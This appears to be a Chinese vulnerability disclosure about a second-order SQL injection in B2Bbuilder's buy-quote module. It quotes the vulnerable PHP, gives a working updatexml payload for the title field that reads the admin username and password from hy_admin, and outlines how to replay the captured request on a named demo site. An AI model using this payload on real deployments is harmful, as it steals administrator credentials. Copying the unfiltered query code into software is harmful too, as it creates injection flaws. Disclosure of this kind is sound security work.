B2Bbuilder最新版SQL注入(DEMO演示)
module/buy/detail.php存在如下代码:
<?php
include_once("$config[webroot]/module/buy/includes/buy_class.php");
//===================================================
//报价提交
if(!empty($_POST['ajax']))
{
$id=$_POST['id']*1;
if(empty($buid))
exit('uid');//未登录
if($id)
{
$db->query('select valid_time from '.BUY.' where id='.$id.' limit 1');
$valid_time=$db->fetchField('valid_time');
$num=(strtotime(date($valid_time))+24*60*60)-time();
if($num<0)
exit('timeout'); //报价结束
$db->query('select count(*) as num from '.BUY.' where id='.$id.' limit 1');
$num=$db->fetchField('num');
if(empty($num))
exit('nobuy'); //求购已经删除
$db->query('select count(*) as num from '.BUYQPRO.' where buy_id='.$id.' and seller_id='.$buid.' limit 1');
$num1=$db->fetchField('num');
if($num1)
exit('es'); //已经报价了
//----------------------
foreach($_POST['pname'] as $key=>$v)
{
$con[]=array($v,$_POST['number'][$key],$_POST['unit'][$key],$_POST['price'][$key],$_POST['bprice'][$key]);
}
$con=serialize($con);
$flag=$db->query("insert into ".BUYQPRO."(buy_id,seller_id,con) values('$id','$buid','$con')");
//--------------------插入消息提示
if($flag)
{
$db->query('select userid,title from '.BUY.' where id='.$id.' limit 1');//这里取出了title
$re=$db->fetchRow();
$userid=$re['userid'];
$title=$re['title'];//求购名称
$fromInfo=NULL;
$date=date("Y-m-d H:i");
$sql="insert into ".FEEDBACK."
(touserid,sub,con,date,msgtype)
VALUES
('$userid','您求购的[$title]有新报价','<a href=\"main.php?m=buy&s=admin_buy_list&id=$id\">点此查看</a>','$date','3')";//这里带入了title
$res=$db->query($sql);
}
if($flag)
exit('ok');//报价成功
}
exit('error');//未知错误
}
可以看到:
$db->query('select userid,title from '.BUY.' where id='.$id.' limit 1');//这里取出了title
('$userid','您求购的[$title]有新报价','<a href=\"main.php?m=buy&s=admin_buy_list&id=$id\">点此查看</a>','$date','3')";//这里带入了title,没有过滤
于是我们在后台发布:
http://democn.b2b-builder.com/main.php?m=buy&s=admin_buy
title写入:' or updatexml(1,concat(1,(SELECT concat(user,0x23,password) FROM `hy_admin` limit 1)),1) or '
这里提交就写入了title
之后发现尼玛没有审核……不能够报价……
然后随便找一个可以报价的:
抓包并修改ID为自己的:
然后不提交,扔到repeater(也可以直接forward然后抓返回包~)
于是就得到账户密码了
解决方案:
过滤